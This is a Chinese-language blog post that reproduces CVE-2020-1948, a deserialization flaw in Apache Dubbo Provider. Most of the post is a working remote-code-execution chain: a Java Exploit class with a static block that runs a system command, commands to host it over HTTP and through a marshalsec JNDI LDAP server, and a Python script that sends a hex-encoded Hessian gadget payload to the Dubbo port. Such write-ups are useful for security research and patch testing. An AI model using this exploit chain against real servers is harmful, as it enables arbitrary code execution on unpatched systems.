[CVE-2020-1948]Apache Dubbo Provider反序列化漏洞复现

image.png

0x01环境准备:

jdk8u112:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
Dubbo2.7.6:https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee
https://github.com/apache/dubbo-spring-boot-project/archive/2.7.6.zip
使用idea导入dubbo-spring-boot-samples
修改/dubbo-spring-boot-samples/auto-configure-samples/provider-sample/pom.xml
导入rome依赖,刷新依赖。

       
            com.rometools
            rome
            1.7.0
        
image.png

0x02漏洞复现

  1. 准备exp:Exploit.java
public class Exploit {

    static {
        System.err.println("Pwned");
        try {
            String cmds = "open /System/Applications/Calculator.app";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}
  1. 生成class文件:javac Exploit.java
  2. 启动http服务:python -m SimpleHTTPServer 80
  3. 启动jndi服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Exploit" 1389
# -*- coding: utf-8 -*-
import socket
import time
import re

def sendEvilObjData(sock):
    payload = "DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
    sock.send(payload.decode('hex'))
def run(dip,dport):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_addr = (dip, dport)
    sock.connect(server_addr)
    sendEvilObjData(sock)

run("127.0.0.1",12345)


image.png
image.png

0x03 参考

https://www.sayers.top/cve_2020_1948.html
https://codingnote.cc/p/143795
https://blog.csdn.net/caiqiiqi/article/details/106934770
www.mail-archive.com/[email protected]/msg06544.html

你可能感兴趣的:([CVE-2020-1948]Apache Dubbo Provider反序列化漏洞复现)